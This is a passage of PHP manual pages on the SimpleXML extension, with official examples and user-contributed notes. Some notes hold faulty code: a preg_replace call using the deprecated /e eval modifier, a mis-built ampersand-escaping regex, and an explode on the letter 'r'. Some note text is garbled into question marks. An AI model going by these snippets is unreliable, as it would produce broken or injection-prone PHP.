以上例程会输出：

PHP solves all my web problems

Example #4 Accessing non-unique elements in SimpleXML

When multiple instances of an element exist as children of a single parent element, normal iteration techniques apply.

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

/* For each <character> node, we echo a separate <name>. */
foreach ($movies->movie->characters->character as $character) {
   echo $character->name, ' played by ', $character->actor, PHP_EOL;
}

?>

以上例程会输出：

Ms. Coder played by Onlivia Actora
Mr. Coder played by El Actór

Note:

Properties ($movies->movie in previous example) are not arrays. They are iterable and accessible objects.

Example #5 Using attributes

So far, we have only covered the work of reading element names and their values. SimpleXML can also access element attributes. Access attributes of an element just as you would elements of an array.

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

/* Access the <rating> nodes of the first movie.
 * Output the rating scale, too. */
foreach ($movies->movie[0]->rating as $rating) {
    switch((string) $rating['type']) { // Get attributes as element indices
    case 'thumbs':
        echo $rating, ' thumbs up';
        break;
    case 'stars':
        echo $rating, ' stars';
        break;
    }
}
?>

以上例程会输出：

7 thumbs up5 stars

Example #6 Comparing Elements and Attributes with Text

To compare an element or attribute with a string or pass it into a function that requires a string, you must cast it to a string using (string). Otherwise, PHP treats the element as an object.

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

if ((string) $movies->movie->title == 'PHP: Behind the Parser') {
    print 'My favorite movie.';
}

echo htmlentities((string) $movies->movie->title);
?>

以上例程会输出：

My favorite movie.PHP: Behind the Parser

Example #7 Comparing Two Elements

Two SimpleXMLElements are considered different even if they point to the same element since PHP 5.2.0.

<?php
include 'example.php';

$movies1 = new SimpleXMLElement($xmlstr);
$movies2 = new SimpleXMLElement($xmlstr);
var_dump($movies1 == $movies2); // false since PHP 5.2.0
?>

以上例程会输出：

bool(false)

Example #8 Using XPath

SimpleXML includes built-in XPath support. To find all <character> elements:

<?php
include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

foreach ($movies->xpath('//character') as $character) {
    echo $character->name, ' played by ', $character->actor, PHP_EOL;
}
?>

'//' serves as a wildcard. To specify absolute paths, omit one of the slashes.

以上例程会输出：

Ms. Coder played by Onlivia Actora
Mr. Coder played by El Actór

Example #9 Setting values

Data in SimpleXML doesn't have to be constant. The object allows for manipulation of all of its elements.

<?php
include 'example.php';
$movies = new SimpleXMLElement($xmlstr);

$movies->movie[0]->characters->character[0]->name = 'Miss Coder';

echo $movies->asXML();
?>

以上例程会输出：

<?xml version="1.0" standalone="yes"?>
<movies>
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Miss Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
</movies>

Example #10 Adding elements and attributes

Since PHP 5.1.3, SimpleXML has had the ability to easily add children and attributes.

<?php
include 'example.php';
$movies = new SimpleXMLElement($xmlstr);

$character = $movies->movie[0]->characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movies->movie[0]->addChild('rating', 'PG');
$rating->addAttribute('type', 'mpaa');

echo $movies->asXML();
?>

以上例程会输出：

<?xml version="1.0" standalone="yes"?>
<movies>
 <movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  <character><name>Mr. Parser</name><actor>John Doe</actor></character></characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <great-lines>
   <line>PHP solves all my web problems</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 <rating type="mpaa">PG</rating></movie>
</movies>

Example #11 DOM Interoperability

PHP has a mechanism to convert XML nodes between SimpleXML and DOM formats. This example shows how one might change a DOM element to SimpleXML.

<?php
$dom = new DOMDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
    echo 'Error while parsing the document';
    exit;
}

$books = simplexml_import_dom($dom);

echo $books->book[0]->title;
?>

以上例程会输出：

blah

User Contributed Notes

dianarusu21 at gmail dot com 20-Oct-2017 09:16
Quick start with xml.

//PHP file:
<?php
$xml = simplexml_load_file("simpleXml.xml");

foreach ($xml as $key => $value) {
  foreach ($value as $key => $value) {
    echo $key.": ".$value."</br>";
  }
}
?>

//XML file:
<?xml version="1.0" encoding="UTF-8"?>
<locations>
  <country>
    <name>Romania</name>
    <capital>Bucharest</capital>
    <language>Romanian</language>
  </country>
  <country>
    <name>Frace</name>
    <capital>Paris</capital>
    <language>France</language>
  </country>
  <country>
    <name>Spain</name>
    <capital>Madrid</capital>
    <language>Spanish</language>
  </country>
</locations>

//Output:
// name: Romania
// capital: Bucharest
// language: Romanian
// name: Frace
// capital: Paris
// language: France
// name: Spain
// capital: Madrid
// language: Spanish

NOTE: You don't need to include the xml file in the php file..
Anonymous 22-Aug-2017 12:35
If your xml string contains booleans encoded with "0" and "1", you will run into problems when you cast the element directly to bool:

$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<values>
    <truevalue>1</truevalue>
    <falsevalue>0</falsevalue>
</values>
XML;
$values = new SimpleXMLElement($xmlstr);
$truevalue = (bool)$values->truevalue; // true
$falsevalue = (bool)$values->falsevalue; // also true!!!

Instead you need to cast to string or int first:

$truevalue = (bool)(int)$values->truevalue; // true
$falsevalue = (bool)(int)$values->falsevalue; // false
rowan dot collins at gmail dot com 04-Jun-2015 06:58
There is a common "trick" often proposed to convert a SimpleXML object to an array, by running it through json_encode() and then json_decode(). I'd like to explain why this is a bad idea.

Most simply, because the whole point of SimpleXML is to be easier to use and more powerful than a plain array. For instance, you can write <?php $foo->bar->baz['bing'] ?> and it means the same thing as <?php $foo->bar[0]->baz[0]['bing'] ?>, regardless of how many bar or baz elements there are in the XML; and if you write <?php (string)$foo->bar[0]->baz[0] ?> you get all the string content of that node - including CDATA sections - regardless of whether it also has child elements or attributes. You also have access to namespace information, the ability to make simple edits to the XML, and even the ability to "import" into a DOM object, for much more powerful manipulation. All of this is lost by turning the object into an array rather than reading understanding the examples on this page.

Additionally, because it is not designed for this purpose, the conversion to JSON and back will actually lose information in some situations. For instance, any elements or attributes in a namespace will simply be discarded, and any text content will be discarded if an element also has children or attributes. Sometimes, this won't matter, but if you get in the habit of converting everything to arrays, it's going to sting you eventually.

Of course, you could write a smarter conversion, which didn't have these limitations, but at that point, you are getting no value out of SimpleXML at all, and should just use the lower level XML Parser functions, or the XMLReader class, to create your structure. You still won't have the extra convenience functionality of SimpleXML, but that's your loss.
mymymymy at mymymymy dot com 02-Jan-2015 09:41
$children = $xml->children();
var_dump($children[0]["@attributes"]);//"NULL"
var_dump($children[0]);//(2) ["@attributes"]=>array(1) {['x']=> string(1) '2'}

no faithfully (not true)
------
example:

SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [name] => USA
        )
)

print_r($xml->country->attributes()->name);
show:
 SimpleXMLElement Object
(
    [0] => USA
)

print_r((string)$xml->country->attributes()->name);
show:
USA
RiKdnUA at mail dot ru 02-Dec-2013 09:40
Если кодировка XML-документа отличается от UTF-8, объявление кодировки должно следовать сразу после version='...' и перед standalone='...'. Это требование стандарта XML.

If encoding XML-document differs from UTF-8. Encoding declaration should follow immediately after the version = '...' and before standalone = '...'. This requirement is standard XML.

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
Ok
<?xml version='1.0' standalone='yes' encoding='windows-1251'?>
<body>Русский язык. Russian language</body>
Fatal error: Uncaught exception 'Exception' with message 'String could not be parsed as XML' in...
eng dot emad_2010 at yahoo dot com 08-Oct-2013 11:46
Example #  DOM Interoperability ??????? ??????
PHP has a mechanism to convert XML nodes between SimpleXML and DOM formats. This example shows how one might change a DOM element to SimpleXML  .
The simplexml_import_dom() function returns a SimpleXMLElement object from a DOM node.
DOM         object

<?php
//create DOM  document $dom that contain XML
$dom = new DOMDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
    echo 'Error while parsing the document';
    exit;
}
//convert DOM document $dom to object $books
$books = simplexml_import_dom($dom);

//access object $books
echo $books->book[0]->title;
?>
jishcem at gmail dot com 12-Mar-2013 07:31
For me it was easier to use arrays than objects,

So, I used this code,

$xml = simplexml_load_file('xml_file.xml');

$json_string = json_encode($xml);

$result_array = json_decode($json_string, TRUE);

Hope it would help someone
gkokmdam at zonnet dot nl 23-Feb-2011 01:54
A quick tip on xpath queries and default namespaces. It looks like the XML-system behind SimpleXML has the same workings as I believe the XML-system .NET uses: when one needs to address something in the default namespace, one will have to declare the namespace using registerXPathNamespace and then use its prefix to address the otherwise in the default namespace living element.

<?php
$string = <<<XML
<?xml version='1.0'?>
<document xmlns="http://www.w3.org/2005/Atom">
 <title>Forty What?</title>
 <from>Joe</from>
 <to>Jane</to>
 <body>
  I know that's the answer -- but what's the question?
 </body>
</document>
XML;

$xml = simplexml_load_string($string);
$xml->registerXPathNamespace("def", "http://www.w3.org/2005/Atom");

$nodes = $xml->xpath("//def:document/def:title");

?>
kdos 31-Jan-2011 05:32
Using stuff like: is_object($xml->module->admin) to check if there actually is a node called "admin", doesn't seem to work as expected, since simplexml always returns an object- in that case an empty one  - even if a particular node does not exist.
For me good old empty() function seems to work just fine in such cases.

Cheers
Max K. 20-Jun-2010 02:38
From the README file:

SimpleXML is meant to be an easy way to access XML data.

SimpleXML objects follow four basic rules:

1) properties denote element iterators
2) numeric indices denote elements
3) non numeric indices denote attributes
4) string conversion allows to access TEXT data

When iterating properties then the extension always iterates over
all nodes with that element name. Thus method children() must be
called to iterate over subnodes. But also doing the following:
foreach ($obj->node_name as $elem) {
  // do something with $elem
}
always results in iteration of 'node_name' elements. So no further
check is needed to distinguish the number of nodes of that type.

When an elements TEXT data is being accessed through a property
then the result does not include the TEXT data of subelements.

Known issues
============

Due to engine problems it is currently not possible to access
a subelement by index 0: $object->property[0].
ie dot raymond at gmail dot com 01-Apr-2010 03:07
If you need to output valid xml in your response, don't forget to set your header content type to xml in addition to echoing out the result of asXML():

<?php

$xml=simplexml_load_file('...');
...
...xml stuff
...

//output xml in your response:
header('Content-Type: text/xml');
echo $xml->asXML();
?>
php at keith tyler dot com 23-Dec-2009 12:57
[Editor's Note: The SimpleXMLIterator class, however, does implement these methods.]

While SimpleXMLElement claims to be iterable, it does not seem to implement the standard Iterator interface functions like ::next and ::reset properly. Therefore while foreach() works, functions like next(), current(), or each() don't seem to work as you would expect -- the pointer never seems to move or keeps getting reset.
bjorn at xQmail dot eu 31-Aug-2009 07:48
If you're not sure the XML will be valid you'd better use:

<?php
$xmlObject = simplexml_load_string($xml);
// or
$xmlObject = simplexml_load_file(xml);
?>

Both of these return a SimpleXMLElement Object or a libXMLError Object.
radams at circlepix com 24-Apr-2009 10:52
To test whether an element exists:

<?php

    $xml = <<<EOT
<?xml version='1.0' standalone='yes'?>
<root>
    <test1></test1>
    <test2 />
    <test4> </test4>
</root>
EOT;

    $xmlDoc = new SimpleXMLElement($xml);

echo "Test1: \n";
var_dump($xmlDoc->test1);
echo "\n(" . (bool)$xmlDoc->test1 . ")";
echo "\n\n";

echo "Test2: \n";
var_dump($xmlDoc->test2);
echo "\n(" . (bool)$xmlDoc->test2 . ")";
echo "\n\n";

echo "Test3: \n";
var_dump($xmlDoc->test3);
echo "\n(" . (bool)$xmlDoc->test3 . ")";
echo "\n\n";

echo "Test4: \n";
var_dump($xmlDoc->test4);
echo "\n(" . (bool)$xmlDoc->test4 . ")";
echo "\n\n";

?>

The var_dumps for test1, test2, and test3 are identical, but the (bool) test gives a '1' for test1 and test2, and a '' for test3.


Dealing with XML errors

Dealing with XML errors when loading documents is a very simple task. Using the libxml functionality it is possible to suppress all XML errors when loading the document and then iterate over the errors.

The libXMLError object, returned by libxml_get_errors(), contains several properties including the message, line and column (position) of the error.

Example #1 Loading broken XML string

<?php
libxml_use_internal_errors(true);
$sxe = simplexml_load_string("<?xml version='1.0'><broken><xml></broken>");
if ($sxe === false) {
    echo "Failed loading XML\n";
    foreach(libxml_get_errors() as $error) {
        echo "\t", $error->message;
    }
}
?>

以上例程会输出：

Failed loading XML
    Blank needed here
    parsing XML declaration: '?>' expected
    Opening and ending tag mismatch: xml line 1 and broken
    Premature end of data in tag broken line 1

参见

  • libxml_use_internal_errors()
  • libxml_get_errors()
  • libXMLError

User Contributed Notes

1337 at netapp dot com 04-Sep-2015 02:21
If you need to process the content of your broken XML-doc you might find this interesting. It has blown past a few simple corruptions for me.
http://php.net/manual/en/class.domdocument.php#domdocument.props.recover
tuxedobob 11-Sep-2014 09:29
Now that the /e modifier is considered deprecated in preg_replace, you can use a negative lookahead to replace unescaped ampersands with &amp; without throwing warnings:

$str = preg_replace('/&(?!;{6})/', '&amp;', $str);

You probably should have been doing this before /e was deprecated, actually.
openbip at gmail dot com 25-Feb-2010 08:20
Note that "if (! $sxe) {" may give you a false-negative if the XML document was empty (e.g. "<root />").  In that case, $sxe will be:

object(SimpleXMLElement)#1 (0) {
}

which will evaluate to false, even though nothing technically went wrong.

Consider instead: "if ($sxe === false) {"
Jacob Tabak 15-Feb-2010 01:17
If you are trying to load an XML string with some escaped and some unescaped ampersands, you can pre-parse the string to ecsape the unescaped ampersands without modifying the already escaped ones:
<?php
$s = preg_replace('/&[^; ]{0,6}.?/e', "((substr('\\0',-1) == ';') ? '\\0' : '&amp;'.substr('\\0',1))", $s);
?>


The SimpleXMLElement class

(PHP 5, PHP 7)

简介

Represents an element in an XML document.

类摘要

SimpleXMLElement implements Traversable {
/* 方法 */
final public __construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
public addAttribute ( string $name [, string $value [, string $namespace ]] ) : void
public addChild ( string $name [, string $value [, string $namespace ]] ) : SimpleXMLElement
public asXML ([ string $filename ] ) : mixed
public attributes ([ string $ns = NULL [, bool $is_prefix = FALSE ]] ) : SimpleXMLElement
public children ([ string $ns [, bool $is_prefix = FALSE ]] ) : SimpleXMLElement
public count ( void ) : int
public getDocNamespaces ([ bool $recursive = FALSE [, bool $from_root = TRUE ]] ) : array
public getName ( void ) : string
public getNamespaces ([ bool $recursive = FALSE ] ) : array
public registerXPathNamespace ( string $prefix , string $ns ) : bool
public __toString ( void ) : string
public xpath ( string $path ) : array
}

Table of Contents

  • SimpleXMLElement::addAttribute — Adds an attribute to the SimpleXML element
  • SimpleXMLElement::addChild — Adds a child element to the XML node
  • SimpleXMLElement::asXML — Return a well-formed XML string based on SimpleXML element
  • SimpleXMLElement::attributes — Identifies an element's attributes
  • SimpleXMLElement::children — Finds children of given node
  • SimpleXMLElement::__construct — Creates a new SimpleXMLElement object
  • SimpleXMLElement::count — Counts the children of an element
  • SimpleXMLElement::getDocNamespaces — Returns namespaces declared in document
  • SimpleXMLElement::getName — Gets the name of the XML element
  • SimpleXMLElement::getNamespaces — Returns namespaces used in document
  • SimpleXMLElement::registerXPathNamespace — Creates a prefix/ns context for the next XPath query
  • SimpleXMLElement::saveXML — 别名 SimpleXMLElement::asXML
  • SimpleXMLElement::__toString — Returns the string content
  • SimpleXMLElement::xpath — Runs XPath query on XML data

User Contributed Notes

Budu 13-May-2018 07:17
public function crearXml(){
        $pruebaXml = <<<XML
<?xml version="1.0" encoding="UTF-8" ?>
<Root></Root>
XML;
$example = new SimpleXMLElement($pruebaXml); //Crea un nuevo objeto SimpleXMLElement
        $example->addAttribute('id', '1');//A?ade un elemento hijo al nodo XML

        while( $nodo = $this->iteraciones->iterate()){
            $nodos = $example->addChild('Nodo');
            $nodos->addAttribute('id',$nodo->getId());
            $acierto = $nodos->addChild('nuevoHijo', $nodo->getX());
        }
        $miFichero = $example->asXML();//Retorna un string XML correcto basado en un elemento SimpleXML
        $miArchivo = fopen("xml/example.xml", "w+");//Abre un fichero o un URL
        fwrite($miArchivo, $miFichero);//Escritura archivo
    }
CameronXie 11-Dec-2017 10:48
Map xml to array (with attributes)

<?php declare(strict_types=1);

/**
 * @param SimpleXMLElement $xml
 * @return array
 */
function xmlToArray(SimpleXMLElement $xml): array
{
    $parser = function (SimpleXMLElement $xml, array $collection = []) use (&$parser) {
        $nodes = $xml->children();
        $attributes = $xml->attributes();

        if (0 !== count($attributes)) {
            foreach ($attributes as $attrName => $attrValue) {
                $collection['attributes'][$attrName] = strval($attrValue);
            }
        }

        if (0 === $nodes->count()) {
            $collection['value'] = strval($xml);
            return $collection;
        }

        foreach ($nodes as $nodeName => $nodeValue) {
            if (count($nodeValue->xpath('../' . $nodeName)) < 2) {
                $collection[$nodeName] = $parser($nodeValue);
                continue;
            }

            $collection[$nodeName][] = $parser($nodeValue);
        }

        return $collection;
    };

    return [
        $xml->getName() => $parser($xml)
    ];
}
kurtbr at gmail dot com 31-May-2017 02:58
Here is a helper class to convert a PHP array to XML
You would call it doing the following:

<?php
$xml = new Xml();
$xml-> generateXmlFromArray($array, 'entities', 'entity');
?>

<?php
class Xml
{
    public function getXmlFromArray($value, \SimpleXMLElement &$xmlElement, $entity, $starting = null)
    {

        $handleValue = function($value){
            if(is_string($value)){
                $value = htmlspecialchars($value);
            }
            return $value;
        };
        $addChild = function($name, $value, &$subNode = null)use(&$xmlElement, $handleValue, $entity){
            if(is_array($value)){
                if(!$subNode instanceof \SimpleXMLElement){
                    $currentKey = key($value);
                    $initialValue = null;
                    if(is_numeric($currentKey)){
                        if(!is_array($value[$currentKey])){
                            $initialValue = $value[$currentKey];
                            unset($value[$currentKey]);
                        }
                    }
                    $subNode = $xmlElement->addChild($name, $initialValue);
                }
                $this->getXmlFromArray($handleValue($value), $subNode, $name);
            } else {
                $xmlElement->addChild($name, $handleValue($value));
            }
        };

        if(is_array($value))
        {
            if(is_numeric(key($value))){
                $setSubNodePrimitiveValue = function($value)use(&$xmlElement, $entity, $handleValue){
                    $value = $handleValue($value);
                    $children = $xmlElement->children();
                    $children[] = $value;
                };
                foreach ($value as $item)
                {
                    if(!is_array($item)){
                        $setSubNodePrimitiveValue($item);
                    } else {
                        if($starting === true){
                            $addChild($entity, $item);
                        } else {
                            $addChild($entity, $item, $xmlElement);
                        }
                    }
                }
            } else {
                foreach ($value as $subEntity => $subEntityItem)
                {
                    $addChild($subEntity, $subEntityItem);
                }
            }
        } else {
            $xmlElement->addChild($entity, $handleValue($value));
        }
    }

    /**
     * @param array $array
     * @param string $openingTag
     * @param string $entity
     * @param string $nameSpace
     * @param bool $isPrefixed
     * @return \SimpleXMLElement
     */
    public function generateXmlFromArray(array $array, string $openingTag, string $entity, $nameSpace = '', $isPrefixed = false)
    {
        $xmlString = '<'.$openingTag.'></'.$openingTag.'>';
        $xml = new \SimpleXMLElement($xmlString, LIBXML_NOERROR, false, $nameSpace, $isPrefixed);
        $this->getXmlFromArray($array, $xml, $entity, true);
        return $xml;
    }

    /**
     * @param string $xml
     * @return bool
     */
    public function validateXml(string $xml)
    {
        $dom = new \DOMDocument();
        $dom->loadXML($xml);
        return $dom->validate();
    }

    public function loadXmlPathAsArray(string $xmlPath)
    {
        $xml   = simplexml_load_file($xmlPath);
        $array = json_decode(json_encode($xml), TRUE);
        return (array)$array;
    }

    /**
     * @param string $xmlString
     * @return array
     */
    public function loadXmlStringAsArray(string $xmlString)
    {
        $array = (array) @simplexml_load_string($xmlString);
        if(!$array){
            $array = (array) @json_decode($xmlString, true);
        } else{
            $array = (array)@json_decode(json_encode($array), true);
        }
        return $array;
    }

    /**
     * @param string $xmlString
     * @return \SimpleXMLElement
     */
    public function loadXmlString(string $xmlString)
    {
        return @simplexml_load_string($xmlString);
    }
}
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:54
See previous two parts to get better understanding of how these tricks works. Example shown here refers to part two. (Sorry, length limitation)

3. Tricks
<?php
        // The real profit is in combination of property and array accesses and unset($someNode->{0}) trick -
        // it allows you to remove whatever node you want:
        unset($rootNode->{'div'}[2]);   // remove node with * mark (text*)

        // Another trick is removing child node using child node object
        $newChildNode = $rootNode->addChild('div','text**');    // Create
        unset($newChildNode->{0});      // Remove, node removed from parent object too!

        echo "--2--\n".$rootNode->asXML();
        /*
        <xml_root>complex node
                <type_one>renewed node 1</type_one>
                <type_two>node 3</type_two>
                <type_one>node 2</type_one>
                <div>text</div>
                <div>text</div>
                <div>text</div>
        </xml_root>
        */
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:48
How to view, edit and remove elements.
Speaking in terms of CRUD style, there is no methods to read, edit and remove nodes. But it is possible.

2. How child nodes works (understanding)
<?php
        echo "Exercise 2 \n";

        $rootNode = new SimpleXMLElement('<xml_root>complex node</xml_root>');  // Create root node
        $childNode1 = $rootNode->addChild('type_one','node 1');                 // Create child node 1 with name 'type_one'
        $childNode2 = new SimpleXMLElement('<type_one>node 2</type_one>');      // Create child node 2 with name 'type_one'
        $childNode3 = new SimpleXMLElement('<type_two>node 3</type_two>');      // Create child node 3 with name 'type_two' (different!)
        // Now $rootNode has only one children because other child nodes was created separately
        // Lets paste child node to root node
        echo $childNode1;

        $rootNode->{'type_one'} = $childNode2;      // Note that the property name is 'type_one'
        $rootNode->{'type_two'} = $childNode3;      // Note that the property name is 'type_two'
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            string(6) "node 2"
            ["type_two"]=>
            string(6) "node 3"
        }
        */
        // We see that "node 1" disappeared, that's because assigning one node to some property of another in not a magic.
        // To be clear, the real calls looks like:
        $rootNode->{'type_one'}[0] = (string) $childNode2;
        $rootNode->{'type_two'}[0] = (string) $childNode3;
        // Explanation:
        // A: (string)
        // It means that you can't assign node itself, only its string representation because assigned node will be casted to string anyway.
        // It also means that tag name of assigned node doesn't matter - its name will be whatever name you specified in {} braces.
        // B: [0]
        // The array access operator ([0]) means that each tag name (type_one and type_two) has its own collection with integer indexes.
        // If you want to add another tag with same name, you should increment index:
        $rootNode->{'type_one'}[1] = $childNode2;
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            array(2) {
                [0]=>
                string(6) "node 2"
                [1]=>
                string(6) "node 2"
            }
            ["type_two"]=>
            string(6) "node 3"
        }
        */

        // Note 1. The value of $childNode1 has been changed to "node 1" - that's because the child node, returned from addChild() method
        // is referenced with parent node. If you change its content in one side - it changes in other side too:
        $childNode1->{0} = 'renewed node 1';
        // But it won't happen with $childNode2 - it is single and has no reference with parent node:
        $childNode2->{0} = 'renewed node 2';
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            array(2) {
                [0]=>
                string(14) "renewed node 1"
                [1]=>
                string(6) "node 2"
            }
            ["type_two"]=>
            string(6) "node 3"
        }
        */

        // Note 2. When you added child nodes, the parent node's string content is still alive, var_dump doesn't show it,
        // but you can see through echoing XML:
        echo "--1--\n".$rootNode->asXML();
        /*
        <xml_root>complex node <--------- here!
                <type_one>renewed node 1</type_one>
                <type_two>node 3</type_two>
                <type_one>node 2</type_one>
        </xml_root>
        */
        // See 'complex node'? Bad news that you can't change string content anymore, if we try to call `$rootNode->{0} = 'something'` -
        // it overrides all content - both string and child nodes! I don't know how to write to string content only in that case.
        // But still you can read string content and remove entire node as described above.

        // So the following statements gives same result, except $result variable value:
        $someNode = new SimpleXMLElement('<div>text</div>');
        $result = $rootNode->addChild('div','text');                    // $result is SimpleXMLElement
        $result = $rootNode->addChild($someNode->getName(),$someNode);  // $result is SimpleXMLElement
        $result = $rootNode->{'div'}[] = 'text*';                       // $result is string 'text*'
        $result = $rootNode->{$someNode->getName()}[] = $someNode;      // $result is string 'text'
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:45
How to view, edit and remove elements.
Speaking in terms of CRUD style, there is no methods to read, edit and remove nodes. But it is possible.

1. How to work with single node and its value (basics)
<?php
        echo "Exercise 1 \n";
        // Create
        $someNode = new SimpleXMLElement('<xml_root>simple node</xml_root>');
        // Read
        echo $someNode->{0} ."\n";      // Echoes "simple node"
        echo $someNode ."\n";           // Echoes "simple node", might be used for read case too
        // Edit
        $someNode->{0} = 'new value';
        echo $someNode->{0} ."\n";      // Echoes "new value", value is changed!
        // Remove
        unset($someNode->{0});

        // Don't touch this node anymore otherwise it will throw a warning:
        // "Warning:  SimpleXMLElement::asXML(): Node no longer exists in <...> on line <...>"
        // echo $someNode ."\n";      // Throws the warning

        // Recap: property access to zero property ($someNode->{0}) is the way to read and edit string content of the node AND
        // to remove the node itself
?>
frame at dynamiccreated dot de 14-Jun-2013 01:36
Important note I miss here in the documentation:

SimpleXML supports Array/Iteration-Methods. Therefore it is possible to

add attributes
edit attributes
remove attributes

add nodes
edit nodes
remove nodes

This is the reason why SimpleXML provides only add-methods not deleting- or editing-methods. We also need this methods because SimpleXML acts as a normal class and
new member will not converted to a new node.

Deleting a node seems not to be possible within a foreach-loop. The reason is simple. To do that we need a valid key, but the Iterator only gives us a "understandable feedback" on which node we are working on: the tag name.

So this will not work:

<?php
foreach($doc->seg as $key => $seg)
{
    if((string)$seg['id'] === 'whatever')
    {
        unset($seg); // only clears local copy
        unset($seg[$key]); // wrong index "seg"
    }
}
?>

But this, eg. will work:
<?php
unset($doc->seg[2]);
?>

In case of doubt always do a print_r/var_dump(). It nicely shows the real linked indexes.
Yukull 15-Feb-2013 01:59
xml to object conversion function :
<?php
/**
    @param:
        $xml: SimpleXMLElement
        $force: set to true to always create 'text', 'attribute', and 'children' even if empty
    @return
        object with attributs:
            (string) name: XML tag name
            (string) text: text content of the attribut name
            (array) attributes: array witch keys are attribute key and values are attribute value
            (array) children: array of objects made with xml2obj() on each child
**/
function xml2obj($xml,$force = false){

    $obj = new StdClass();

    $obj->name = $xml->getName();

    $text = trim((string)$xml);
    $attributes = array();
    $children = array();

    foreach($xml->attributes() as $k => $v){
        $attributes[$k]  = (string)$v;
    }

    foreach($xml->children() as $k => $v){
        $children[] = xml2obj($v,$force);
    }

    if($force or $text !== '')
        $obj->text = $text;

    if($force or count($attributes) > 0)
        $obj->attributes = $attributes;

    if($force or count($children) > 0)
        $obj->children = $children;

    return $obj;
}
?>
heaver 31-May-2012 07:33
XML to JSON conversion without '@attributes'
<?php
function XML2JSON($xml) {

        function normalizeSimpleXML($obj, &$result) {
            $data = $obj;
            if (is_object($data)) {
                $data = get_object_vars($data);
            }
            if (is_array($data)) {
                foreach ($data as $key => $value) {
                    $res = null;
                    normalizeSimpleXML($value, $res);
                    if (($key == '@attributes') && ($key)) {
                        $result = $res;
                    } else {
                        $result[$key] = $res;
                    }
                }
            } else {
                $result = $data;
            }
        }
        normalizeSimpleXML(simplexml_load_string($xml), $result);
        return json_encode($result);
    }
?>
demian dot katz at villanova dot edu 29-Mar-2012 05:50
Here is a more namespace-aware version of the earlier function for attaching one SimpleXMLElement to another.  I'm sure it could still be further improved (right now it generates some redundant xmlns definitions), but it seems to be working well enough for my purposes so far.

function SimpleXMLElement_append($parent, $child)
{
    // get all namespaces for document
    $namespaces = $child->getNamespaces(true);

    // check if there is a default namespace for the current node
    $currentNs = $child->getNamespaces();
    $defaultNs = count($currentNs) > 0 ? current($currentNs) : null;
    $prefix = (count($currentNs) > 0) ? current(array_keys($currentNs)) : '';
    $childName = strlen($prefix) > 1
        ? $prefix . ':' . $child->getName() : $child->getName();

    // check if the value is string value / data
    if (trim((string) $child) == '') {
        $element = $parent->addChild($childName, null, $defaultNs);
    } else {
        $element = $parent->addChild(
            $childName, htmlspecialchars((string)$child), $defaultNs
        );
    }

    foreach ($child->attributes() as $attKey => $attValue) {
        $element->addAttribute($attKey, $attValue);
    }
    foreach ($namespaces as $nskey => $nsurl) {
        foreach ($child->attributes($nsurl) as $attKey => $attValue) {
            $element->addAttribute($nskey . ':' . $attKey, $attValue, $nsurl);
        }
    }

    // add children -- try with namespaces first, but default to all children
    // if no namespaced children are found.
    $children = 0;
    foreach ($namespaces as $nskey => $nsurl) {
        foreach ($child->children($nsurl) as $currChild) {
            SimpleXMLElement_append($element, $currChild);
            $children++;
        }
    }
    if ($children == 0) {
        foreach ($child->children() as $currChild) {
            SimpleXMLElement_append($element, $currChild);
        }
    }
}
saganmarketing.com 12-Mar-2012 12:27
Parsing an invalid XML string through SimpleXML causes the script to crash completely (usually) therefore it is best to make sure the XML is valid before parsing with something like this:

// Must be tested with ===, as in if(isXML($xml) === true){}
// Returns the error message on improper XML
function isXML($xml){
    libxml_use_internal_errors(true);

    $doc = new DOMDocument('1.0', 'utf-8');
    $doc->loadXML($xml);

    $errors = libxml_get_errors();

    if(empty($errors)){
        return true;
    }

    $error = $errors[0];
    if($error->level < 3){
        return true;
    }

    $explodedxml = explode("r", $xml);
    $badxml = $explodedxml[($error->line)-1];

    $message = $error->message . ' at line ' . $error->line . '. Bad XML: ' . htmlentities($badxml);
    return $message;
}
Anonymous 14-Nov-2011 12:34
Warning to anyone trying to parse XML with a key name that includes a hyphen ie.)
<subscribe>
    <callback-url>example url</callback-url>
</subscribe>

In order to access the callback-url you will need to do something like the following:
<?php
$xml = simplexml_load_string($input);
$callback = $xml->{"callback-url"};
?>
If you attempt to do it without the curly braces and quotes you will find out that you are returned a 0 instead of what you want.
juanfhj at gmail dot spam dot me dot not dot com 13-Aug-2011 11:01
To access the underlying element as a string, it's necessary to make the cast $x = (string)$my_xml_element.
dans at dansheps dot com 22-Apr-2011 12:06
